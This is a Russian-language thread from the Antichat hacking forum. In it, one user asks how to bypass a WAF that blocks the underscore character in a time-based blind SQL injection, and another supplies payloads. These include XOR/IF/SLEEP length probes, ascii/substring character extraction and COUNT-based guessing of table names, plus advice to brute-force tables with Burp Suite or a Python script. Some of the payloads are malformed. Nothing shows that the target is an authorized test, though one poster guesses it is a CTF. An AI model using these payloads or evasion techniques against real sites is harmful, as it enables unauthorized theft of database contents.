HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.03.2025, 01:22
sygley
Новичок
Регистрация: 28.03.2025
Сообщений: 3
С нами: 597184

Репутация: 0
По умолчанию

Добрый день, столкнулся с такой проблемой. при проведении тестирования обнаружил что WAF блокирует знак _ в слепой инъекции на основе времени. переведение запроса в HEX и CHAR не дало никаких результатов, экранирование тоже не помогло . Подскажите, как возможно обойти эту блокировку, так как дальнейшее продвижение без этого невозможно, нельзя использовать information_schema и table_schema.
проверял на основе правильного запроса.
0'XOR(if(LENGTH(DATABASE())=19,sleep(6),0))XOR'Z
знаю длинну бд
чекал на это запросе
0'XOR(if(CHAR_LENGTH(DATABASE())=19,sleep(6),0))XO R'Z
 
Ответить с цитированием

  #2  
Старый 29.03.2025, 12:12
apache2
Познающий
Регистрация: 23.04.2021
Сообщений: 64
С нами: 2663594

Репутация: 0
По умолчанию

пробовал
Код:
__
, может она рекурсивно не проходит.
или
чисто time based blind sqli

SQL:


Код:
0
'XOR(if(ascii(substring((SELECT username FROM database()LIMIT 1),1,1)) > 97,sleep(6),0))XOR'
Z
есть ещё аналог database() - schema()
но нужно проверить существует ли username, или так же через time-based sqli или так

SQL:


Код:
0
'XOR(if(ascii(substring((SELECT COUNT(username) FROM database()>0,sleep(6),0))XOR'
Z
 
Ответить с цитированием

  #3  
Старый 29.03.2025, 12:50
sygley
Новичок
Регистрация: 28.03.2025
Сообщений: 3
С нами: 597184

Репутация: 0
По умолчанию

__ такой вариант пробовал, не помогает.
чтобы эти варианты использовать надо знать именя таблиц
0'XOR(if(ascii(substring((SELECT username FROM database()LIMIT 1),1,1)) > 97,sleep(6),0))XOR'Z
0'XOR(if(ascii(substring((SELECT COUNT(username) FROM database()>0,sleep(6),0))XOR'Z
а как можно узнать имена таблиц не используя при этом знак _ ?

название базы данных известно, может быть можно как то при слепой инъекции вывести все таблицы и посмотреть первый символ первой таблицы без использования table_name?
 
Ответить с цитированием

  #4  
Старый 29.03.2025, 13:03
apache2
Познающий
Регистрация: 23.04.2021
Сообщений: 64
С нами: 2663594

Репутация: 0
По умолчанию

я же написал как узнать
Цитата:

но нужно проверить существует ли username, или так же через time-based sqli или так
0'XOR(if(ascii(substring((SELECT COUNT(username) FROM database() >0,sleep(6),0))XOR'Z

через time-based blind sqli вот так: Статья - Автоматизация эксплуатации слепой Time-based SQL-инъекции при помощи Burp Suite и WFUZZ

через count вы сами подбирайте имя (брутфорс так сказать)

Тут скорее COUNT или через if exists если вам так понятнее, проверяйте существует ли данная таблица в базе данных database() и ловите на time-based.
Напишите скрипт на python или исопльзуй sniper/cluster bomb в burp suite чтобы перебирать таблицы

Я ещё так понимаю это у вас CTF или таск какой то, т.к на bug bounty вы бы просто отправили что время ответа 6 секунд
 
Ответить с цитированием

  #5  
Старый 30.03.2025, 00:10
sygley
Новичок
Регистрация: 28.03.2025
Сообщений: 3
С нами: 597184

Репутация: 0
По умолчанию

а если в имени таблицы будет знак _ то возможно как то обойти такой вариант? HEX или CHAR помогут в этом?
 
Ответить с цитированием

  #6  
Старый 30.03.2025, 12:04
apache2
Познающий
Регистрация: 23.04.2021
Сообщений: 64
С нами: 2663594

Репутация: 0
По умолчанию

Цитата:

sygley сказал(а):

а если в имени таблицы будет знак _ то возможно как то обойти такой вариант? HEX или CHAR помогут в этом?

не знаю, надо пробовать
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.